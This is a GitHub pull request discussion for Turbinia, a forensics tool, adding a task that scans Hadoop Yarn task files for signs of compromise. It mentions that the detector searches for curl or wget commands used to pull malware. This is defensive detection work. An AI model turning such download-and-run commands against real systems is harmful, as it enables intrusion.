Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Hadoop (Yarn tasks) compromise analysis #243

Merged
merged 26 commits into from Sep 19, 2018
Merged

Hadoop (Yarn tasks) compromise analysis #243

merged 26 commits into from Sep 19, 2018

Conversation

@rgayon
Copy link
Collaborator

rgayon commented Aug 29, 2018

This analysis task looks into the Hadoop AppRoot directory, where Yarn tasks are saved. In case of a compromise, those usually also save the malicious tasks that were created.
Currently, we naively run strings on each of these files and search for post-compromission trivial artifacts (curl or wget, to pull malware).

This depends on the extract_artifacts() methods from turbinia/lib/utils.py which is going to be added by #226
I'm not using FileArtifactExtractionTask as I want to extract all the AppRoot files as one evidence to generate only one report (it is expected that a large amount of Yarn tasks are going to be analyzed while only a handful of them will contain malicious commands)

rgayon added 4 commits Aug 29, 2018
@rgayon rgayon force-pushed the rgayon:hadoop branch from e920bea to 619e014 Sep 7, 2018
@rgayon rgayon changed the title WIP : Hadoop compromise analysis Hadoop (Yarn tasks) compromise analysis Sep 7, 2018
rgayon added 10 commits Sep 7, 2018
@aarontp

This comment has been minimized.

Copy link
Member

aarontp commented Sep 7, 2018

Cool, looking good. I see it's no longer tagged with WIP, but I don't see reviewers assigned yet, so ping me (or assign reviewers) when you're ready. Thanks!

@rgayon

This comment has been minimized.

Copy link
Collaborator Author

rgayon commented Sep 10, 2018

I wanted to let the tests fail miserably (and make sure they do because #226 is not merged yet)

@rgayon

This comment has been minimized.

Copy link
Collaborator Author

rgayon commented Sep 10, 2018

Seems like I actually can't assign a reviewer.

@aarontp aarontp self-requested a review Sep 18, 2018
Copy link
Member

aarontp left a comment

For some reason I don't see this failing on lint errors, but that might be because they are hidden due to it failing on other hard errors like util not being there yet (because #226 isn't submitted yet). I'll see if we can get that merged so that we can clear up the errors on this one. I'm adding some other review comments for now, but most of it is just small nits. Thanks!

turbinia/jobs/__init__.py Outdated Show resolved Hide resolved
turbinia/jobs/hadoop.py Outdated Show resolved Hide resolved
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
fh.write('\n'.encode('utf8'))

result.add_evidence(output_evidence, evidence.config)
result.close(self, success=True)

This comment has been minimized.

Copy link
@aarontp

aarontp Sep 18, 2018

Member

Could we add a status that summarizes the report somehow here? Some of the other tasks have been setting the first line of the report to be something like a summary, and then using that as the status. This way it will show up in the turbiniactl output directly (and the default is something generic).

This comment has been minimized.

Copy link
@rgayon

rgayon Sep 18, 2018

Author Collaborator

First line of the report now says whether badness has been found

This comment has been minimized.

Copy link
@aarontp

aarontp Sep 18, 2018

Member

Can we add that first line as the status parameter here too then? e.g.:
result.close(self, success=True, status=text_report.splitlines()[0])

rgayon added 3 commits Sep 18, 2018
@aarontp

This comment has been minimized.

Copy link
Member

aarontp commented Sep 18, 2018

FYI, #226 is now submitted. It looks like tests are failing on a separate issue more specific to your PR now. LMK when you want me to want me to PTAL, :).

rgayon added 4 commits Sep 18, 2018
@rgayon

This comment has been minimized.

Copy link
Collaborator Author

rgayon commented Sep 18, 2018

Please PTAL a look

Copy link
Member

aarontp left a comment

LG, just a couple small things.

turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
fh.write('\n'.encode('utf8'))

result.add_evidence(output_evidence, evidence.config)
result.close(self, success=True)

This comment has been minimized.

Copy link
@aarontp

aarontp Sep 18, 2018

Member

Can we add that first line as the status parameter here too then? e.g.:
result.close(self, success=True, status=text_report.splitlines()[0])

rgayon added 3 commits Sep 19, 2018
…one as status on the result Evidence
turbinia/workers/hadoop.py Outdated Show resolved Hide resolved
Copy link
Member

aarontp left a comment

LGTM Thanks!

@aarontp aarontp merged commit 6f031ea into google:master Sep 19, 2018
3 checks passed
3 checks passed
CodeFactor 6 issues fixed. 2 issues found.
Details
cla/google All necessary CLAs are signed
continuous-integration/travis-ci/pr The Travis CI build passed
Details
Onager added a commit to Onager/turbinia that referenced this pull request Sep 21, 2018
* empty shell

* more scaffholding

* make all of this more simple

* Things appear to be working

* typo

* undo some filepath manipulations

* register the new hadoop Job

* cleanup

* renamed

* fix output evidence

* add tests

* typo

* styleguide

* full path to strings

* comments

* sync

* fix tests

* fix py3 tests

* fix py3 harder

* I call this 'bruteforce programming'

* Make _AnalyzeHadoopAppRoot return a list of string, to use the first one as status on the result Evidence

* remove extra tab

* also check at the beggining of the line
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Linked issues

Successfully merging this pull request may close these issues.

None yet

2 participants
You can’t perform that action at this time.